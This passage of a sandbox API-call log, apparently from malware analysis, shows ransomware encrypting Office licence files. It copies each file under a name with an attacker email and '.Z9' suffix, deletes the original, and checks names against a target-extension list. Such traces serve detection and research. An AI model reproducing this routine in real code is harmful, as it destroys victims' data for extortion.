	[0175.349] WriteFile (in: hFile=0x438, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x102, lpOverlapped=0x0) returned 1
	[0175.350] SetEndOfFile (hFile=0x438) returned 1
	[0175.350] CloseHandle (hObject=0x438) returned 1
	[0175.352] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.352] SetEndOfFile (hFile=0x554) returned 1
	[0175.355] CloseHandle (hObject=0x554) returned 1
	[0175.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0175.355] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms")) returned 1
	[0175.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0175.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0175.356] lstrlenW (lpString=".doc") returned 4
	[0175.356] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.356] lstrlenW (lpString=".docx") returned 5
	[0175.356] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.356] lstrlenW (lpString=".pdf") returned 4
	[0175.356] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.356] lstrlenW (lpString=".xls") returned 4
	[0175.356] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.356] lstrlenW (lpString=".xlsx") returned 5
	[0175.357] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.357] lstrlenW (lpString=".ppt") returned 4
	[0175.357] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0175.357] lstrlenW (lpString=".zip") returned 4
	[0175.357] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.357] lstrlenW (lpString=".rar") returned 4
	[0175.357] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.357] lstrlenW (lpString=".bz2") returned 4
	[0175.357] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.357] lstrlenW (lpString=".7z") returned 3
	[0175.357] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0175.357] lstrlenW (lpString=".dbf") returned 4
	[0175.357] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0175.357] lstrlenW (lpString=".1cd") returned 4
	[0175.357] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0175.357] lstrlenW (lpString=".jpg") returned 4
	[0175.357] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0175.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0175.357] lstrlenW (lpString=".doc") returned 4
	[0175.357] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.357] lstrlenW (lpString=".docx") returned 5
	[0175.357] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.357] lstrlenW (lpString=".pdf") returned 4
	[0175.357] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.357] lstrlenW (lpString=".xls") returned 4
	[0175.357] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.357] lstrlenW (lpString=".xlsx") returned 5
	[0175.357] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.357] lstrlenW (lpString=".ppt") returned 4
	[0175.358] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0175.358] lstrlenW (lpString=".zip") returned 4
	[0175.358] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.358] lstrlenW (lpString=".rar") returned 4
	[0175.358] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.358] lstrlenW (lpString=".bz2") returned 4
	[0175.358] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.358] lstrlenW (lpString=".7z") returned 3
	[0175.358] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0175.358] lstrlenW (lpString=".dbf") returned 4
	[0175.358] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0175.358] lstrlenW (lpString=".1cd") returned 4
	[0175.358] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0175.358] lstrlenW (lpString=".jpg") returned 4
	[0175.358] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.358] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0175.358] lstrlenW (lpString="ExcelR_OEM_Perp-pl.xrm-ms") returned 25
	[0175.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0175.359] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=10635) returned 1
	[0175.359] CloseHandle (hObject=0x554) returned 1
	[0175.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms")) returned 0x220
	[0175.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0175.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0175.360] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.360] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0175.361] GetLastError () returned 0x0
	[0175.361] ReadFile (in: hFile=0x554, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x298b, lpOverlapped=0x0) returned 1
	[0175.376] WriteFile (in: hFile=0x53c, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x2990, lpOverlapped=0x0) returned 1
	[0175.377] ReadFile (in: hFile=0x554, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.377] WriteFile (in: hFile=0x53c, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x106, lpOverlapped=0x0) returned 1
	[0175.377] SetEndOfFile (hFile=0x53c) returned 1
	[0175.377] CloseHandle (hObject=0x53c) returned 1
	[0175.377] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.377] SetEndOfFile (hFile=0x554) returned 1
	[0175.385] CloseHandle (hObject=0x554) returned 1
	[0175.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0175.386] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms")) returned 1
	[0175.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0175.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0175.390] lstrlenW (lpString=".doc") returned 4
	[0175.390] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.390] lstrlenW (lpString=".docx") returned 5
	[0175.390] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.390] lstrlenW (lpString=".pdf") returned 4
	[0175.390] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.390] lstrlenW (lpString=".xls") returned 4
	[0175.390] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.390] lstrlenW (lpString=".xlsx") returned 5
	[0175.390] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.390] lstrlenW (lpString=".ppt") returned 4
	[0175.390] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0175.391] lstrlenW (lpString=".zip") returned 4
	[0175.391] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.391] lstrlenW (lpString=".rar") returned 4
	[0175.391] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.391] lstrlenW (lpString=".bz2") returned 4
	[0175.391] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.391] lstrlenW (lpString=".7z") returned 3
	[0175.391] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0175.391] lstrlenW (lpString=".dbf") returned 4
	[0175.391] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0175.391] lstrlenW (lpString=".1cd") returned 4
	[0175.391] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0175.391] lstrlenW (lpString=".jpg") returned 4
	[0175.391] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0175.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0175.391] lstrlenW (lpString=".doc") returned 4
	[0175.391] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.391] lstrlenW (lpString=".docx") returned 5
	[0175.391] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.391] lstrlenW (lpString=".pdf") returned 4
	[0175.391] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.391] lstrlenW (lpString=".xls") returned 4
	[0175.391] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.391] lstrlenW (lpString=".xlsx") returned 5
	[0175.391] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.391] lstrlenW (lpString=".ppt") returned 4
	[0175.391] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0175.391] lstrlenW (lpString=".zip") returned 4
	[0175.391] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.391] lstrlenW (lpString=".rar") returned 4
	[0175.392] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.392] lstrlenW (lpString=".bz2") returned 4
	[0175.392] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.392] lstrlenW (lpString=".7z") returned 3
	[0175.392] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0175.392] lstrlenW (lpString=".dbf") returned 4
	[0175.392] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0175.392] lstrlenW (lpString=".1cd") returned 4
	[0175.392] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0175.392] lstrlenW (lpString=".jpg") returned 4
	[0175.392] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.392] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0175.392] lstrlenW (lpString="ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 29
	[0175.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0175.394] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=11582) returned 1
	[0175.394] CloseHandle (hObject=0x524) returned 1
	[0175.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms")) returned 0x220
	[0175.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0175.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0175.394] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.394] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0175.395] GetLastError () returned 0x0
	[0175.395] ReadFile (in: hFile=0x524, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x2d3e, lpOverlapped=0x0) returned 1
	[0175.398] WriteFile (in: hFile=0x554, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0175.399] ReadFile (in: hFile=0x524, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.399] WriteFile (in: hFile=0x554, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x10e, lpOverlapped=0x0) returned 1
	[0175.399] SetEndOfFile (hFile=0x554) returned 1
	[0175.399] CloseHandle (hObject=0x554) returned 1
	[0175.399] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.399] SetEndOfFile (hFile=0x524) returned 1
	[0175.402] CloseHandle (hObject=0x524) returned 1
	[0175.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0175.402] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms")) returned 1
	[0175.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0175.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0175.403] lstrlenW (lpString=".doc") returned 4
	[0175.403] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.403] lstrlenW (lpString=".docx") returned 5
	[0175.403] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.403] lstrlenW (lpString=".pdf") returned 4
	[0175.403] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.403] lstrlenW (lpString=".xls") returned 4
	[0175.403] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.403] lstrlenW (lpString=".xlsx") returned 5
	[0175.403] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.403] lstrlenW (lpString=".ppt") returned 4
	[0175.403] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0175.403] lstrlenW (lpString=".zip") returned 4
	[0175.404] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.404] lstrlenW (lpString=".rar") returned 4
	[0175.404] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.404] lstrlenW (lpString=".bz2") returned 4
	[0175.404] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.404] lstrlenW (lpString=".7z") returned 3
	[0175.404] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0175.404] lstrlenW (lpString=".dbf") returned 4
	[0175.404] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0175.404] lstrlenW (lpString=".1cd") returned 4
	[0175.404] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0175.404] lstrlenW (lpString=".jpg") returned 4
	[0175.404] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0175.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0175.404] lstrlenW (lpString=".doc") returned 4
	[0175.404] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.404] lstrlenW (lpString=".docx") returned 5
	[0175.404] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.404] lstrlenW (lpString=".pdf") returned 4
	[0175.404] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.404] lstrlenW (lpString=".xls") returned 4
	[0175.404] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.404] lstrlenW (lpString=".xlsx") returned 5
	[0175.404] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.404] lstrlenW (lpString=".ppt") returned 4
	[0175.404] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0175.404] lstrlenW (lpString=".zip") returned 4
	[0175.404] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.404] lstrlenW (lpString=".rar") returned 4
	[0175.404] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.405] lstrlenW (lpString=".bz2") returned 4
	[0175.405] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.405] lstrlenW (lpString=".7z") returned 3
	[0175.405] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0175.405] lstrlenW (lpString=".dbf") returned 4
	[0175.405] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0175.405] lstrlenW (lpString=".1cd") returned 4
	[0175.405] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0175.405] lstrlenW (lpString=".jpg") returned 4
	[0175.405] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.405] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0175.405] lstrlenW (lpString="ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 29
	[0175.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0175.406] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=19927) returned 1
	[0175.406] CloseHandle (hObject=0x524) returned 1
	[0175.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms")) returned 0x220
	[0175.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0175.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0175.406] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.407] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
